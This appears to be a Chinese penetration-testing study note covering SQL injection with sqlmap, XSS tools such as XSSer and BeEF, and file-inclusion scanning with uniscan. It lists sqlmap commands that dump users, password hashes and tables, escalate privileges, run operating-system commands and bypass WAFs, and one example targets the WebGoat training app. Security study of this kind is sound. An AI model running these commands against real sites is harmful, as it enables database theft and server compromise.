【Kali 渗透测试】漏洞学习笔记

一、SQL 注入

web 应用或网站在处理用户输入时没有正确过滤和转义特殊字符,导致用户输入被当成 sql 语句执行。

1. sqlmap

自动发现和利用 web 应用中的数据库漏洞

基本功能

对 web 应用中的数据库进行自动化检测、利用和攻击。

  • 检测链接地址是否包含SQL注入漏洞
bash 复制代码
sqlmap -u "URL地址"
sqlmap -u "URL地址" --batch # 启用所有需要手动确认的功能
sqlmap -u "URL地址" --current-user --current-db --batch # 查看当前连接数据库的用户和数据库名
sqlmap -u "URL地址" --is-dba --batch # 判断当前用户是否是 dba 权限
sqlmap -u "URL地址" --privileges --batch # 列举当前用户权限
sqlmap -u "URL地址" --priv-esc--batch # 提权
sqlmap -u "URL地址" --users-batch # 列举所有用户
sqlmap -u "URL地址" --passwords --batch 
sqlmap -u "URL地址" --dbs --batch
sqlmap -u "URL地址" -D库名 --tables --batch
sqlmap -u "URL地址" -D库名 -T表名 --columns --batch
sqlmap -u "URL地址" -D库名 -T表名 -C指定列名,指定列名 --dump--batch

sqlmap 执行数据库交互

bash 复制代码
sqlmap -u "URL地址" --sql-query="查询语句" --batch
sqlmap -u "URL地址" --sql-shell --batch
sqlmap -u "URL地址" --os-cmd=系统命令 --batch
sqlmap -u "URL地址" --os-cmd=系统命令 --batch

POST请求类型的SQL注入

  • 方法一
bash 复制代码
sqlmap -u "URL地址" --data="POST的内容" --batch
sqlmap -u "http://x.x.x.x:8080/WebGoat/SqlInjection/assignment5b" --data="login_count=webgoat&userid=0" --batch --cookie="xxx"
  • 方法二

burp suit 拦截数据包,右键单击请求,save item,保存为文件

bash 复制代码
sqlmap -r 保存的文件 --batch
bash 复制代码
sqlmap -m 文件地址 # 批量检测

指定 sql 注入的方式

bash 复制代码
sqlmap -u "URL地址" --technique=E --batch
  • E 报错注入
  • B 基于布尔的盲注
  • U 联合查询
  • S 堆叠查询
  • T 基于时间的盲注
  • Q 仅仅使用内联查询

sqlmap 脚本

借助 sqlmap 脚本绕过 waf 的检测

bash 复制代码
sqlmap -u "URL地址" --batch --tamper 脚本名

2. JSQL injection

基于 Java 的轻量级 sql 注入引用

bash 复制代码
apt install jsql-injection

二、XSS

网站安全漏洞,攻击者可以利用其在网站中注入JS客户端代码

1. XSSer

bash 复制代码
apt install xsser
xsser -u "URL地址" -g '路径和参数'
xsser -u "URL地址" -c爬虫深度 --Cl URL地址

2. XSStrike

bash 复制代码
pip3 install xsstrike

3. BeEF

利用浏览器中的 xss 漏洞

三、文件包含漏洞

是一种代码注入漏洞,发生在使用了文件包含函数的位置

  • 本地文件包含:能够打开并包含本地文件的漏洞
  • 远程文件包含:能够打开并包含远程文件的漏洞

uniscan

文件包含漏洞扫描器

bash 复制代码
apt install uniscan
uniscan -u URL地址 -qweds

检测完在 /usr/share/uniscan/report 目录下生成扫描结果

相关推荐
白猫不黑1 天前
GitHub 30K Star 的 AI 渗透测试工具
web安全·网络安全·信息安全·渗透测试·github·ai渗透测试
明天…ling3 天前
Upload-Labs (Pass1-Pass21) 完整通关思路与源码分析
android·网络安全·渗透测试·burpsuite·upload-labs·文件上传绕过·靶场复现
白猫不黑4 天前
Web 应用中“敏感信息泄露“的常见位置?
前端·网络·web安全·网络安全·信息安全·渗透测试
白山云北诗8 天前
漏洞扫描+渗透测试:从资产摸底到风险验证,完成二次安全收口
网络·安全·web安全·渗透测试·漏洞扫描·ddos防护·cc防护
世界尽头与你12 天前
Android Root 检测原理
android·安全·网络安全·渗透测试
世界尽头与你12 天前
iOS 越狱检测原理
安全·网络安全·ios·信息安全·渗透测试
白帽小阳15 天前
学术论文发表渠道科普,LNCS 系列会议的特点与检索情况分析
web安全·渗透测试·网络安全比赛·ctf备赛·lncs·ei 检索,学术论文,会议发表·计算机科学,宏观认知,学习路径,算法基础
数据知道18 天前
网络安全职业规划:从入门到高级安全工程师的路径图
安全·web安全·网络安全·渗透测试·职业规划
Sagittarius_A*18 天前
Web 渗透实战:服务器系统识别、端口与中间件全量探测
服务器·网络安全·中间件·渗透测试
xy345318 天前
wireshark 如何捕获信息
网络·测试工具·渗透测试·wireshark